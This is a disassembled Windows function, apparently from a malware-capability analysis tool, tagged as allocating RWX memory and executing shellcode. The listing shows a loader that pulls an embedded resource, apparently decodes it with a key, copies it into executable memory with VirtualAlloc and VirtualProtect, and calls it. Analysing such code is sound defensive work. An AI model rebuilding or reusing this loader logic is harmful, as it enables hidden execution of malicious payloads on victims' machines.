Function at 0x1400116d6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
jmp 0x14001edb0
push rbp
push rdi
sub rsp, 0x438
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140032018]
xor rax, rbp
mov qword [rbp + 0x400], rax
lea rcx, [0x14003a0fd]
call fcn.140011a32
mov byte [rbp + 4], 0x66
lea r8, [0x14002cb40]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 0x28]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rbp + 0x44], eax
mov rdx, qword [rbp + 0x28]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x68], rax
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x14001ee70
lea rdx, str.Failed_to_lock_resource.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011145
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14001f103
mov eax, dword [rbp + 0x44]
mov r8d, eax
mov rdx, qword [rbp + 0x88]
lea rcx, [rbp + 0xa8]
call fcn.140011131
nop
lea rdx, str.hr0g
lea rcx, [rbp + 0xe8]
call fcn.140011460
nop
lea rdx, [0x14002cb70]
lea rcx, [rbp + 0x128]
call fcn.140011460
nop
lea r8, [rbp + 0x128]
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0xa8]
call fcn.1400119a1
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x168]
call fcn.1400111ae
nop
movzx r8d, byte [rbp + 4]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x1a8]
call fcn.1400117df
nop
lea rcx, [rbp + 0x1a8]
call fcn.140011744
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0
jne 0x14001efa5
lea rdx, str.Failed_to_allocate_memory.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011145
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x3a4], 1
lea rcx, [rbp + 0x1a8]
call fcn.1400111ef
nop
lea rcx, [rbp + 0x168]
call fcn.1400111ef
nop
lea rcx, [rbp + 0x128]
call fcn.1400111ef
nop
lea rcx, [rbp + 0xe8]
call fcn.1400111ef
nop
lea rcx, [rbp + 0xa8]
call fcn.1400111ef
mov eax, dword [rbp + 0x3a4]
jmp 0x14001f103
lea rcx, [rbp + 0x1a8]
call fcn.140011744
mov qword [rbp + 0x3f8], rax
lea rcx, [rbp + 0x1a8]
call fcn.140011438
mov rcx, qword [rbp + 0x3f8]
mov r8, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x1e8]
call fcn.1400114e2
lea rcx, [rbp + 0x1a8]
call fcn.140011744
lea r9, [rbp + 0x204]
mov r8d, 0x40
mov rdx, rax
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001f098
lea rdx, str.Failed_to_change_memory_protection.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011145
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rbp + 0x3c4], 1
lea rcx, [rbp + 0x1a8]
call fcn.1400111ef
nop
lea rcx, [rbp + 0x168]
call fcn.1400111ef
nop
lea rcx, [rbp + 0x128]
call fcn.1400111ef
nop
lea rcx, [rbp + 0xe8]
call fcn.1400111ef
nop
lea rcx, [rbp + 0xa8]
call fcn.1400111ef
mov eax, dword [rbp + 0x3c4]
jmp 0x14001f103
call qword [rbp + 0x1e8]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rbp + 0x3e4], 0
lea rcx, [rbp + 0x1a8]
call fcn.1400111ef
nop
lea rcx, [rbp + 0x168]
call fcn.1400111ef
nop
lea rcx, [rbp + 0x128]
call fcn.1400111ef
nop
lea rcx, [rbp + 0xe8]
call fcn.1400111ef
nop
lea rcx, [rbp + 0xa8]
call fcn.1400111ef
mov eax, dword [rbp + 0x3e4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14002c050]
call fcn.140011848
mov rax, rdi
mov rcx, qword [rbp + 0x400]
xor rcx, rbp
call fcn.1400114d8
lea rsp, [rbp + 0x418]
pop rdi
pop rbp
ret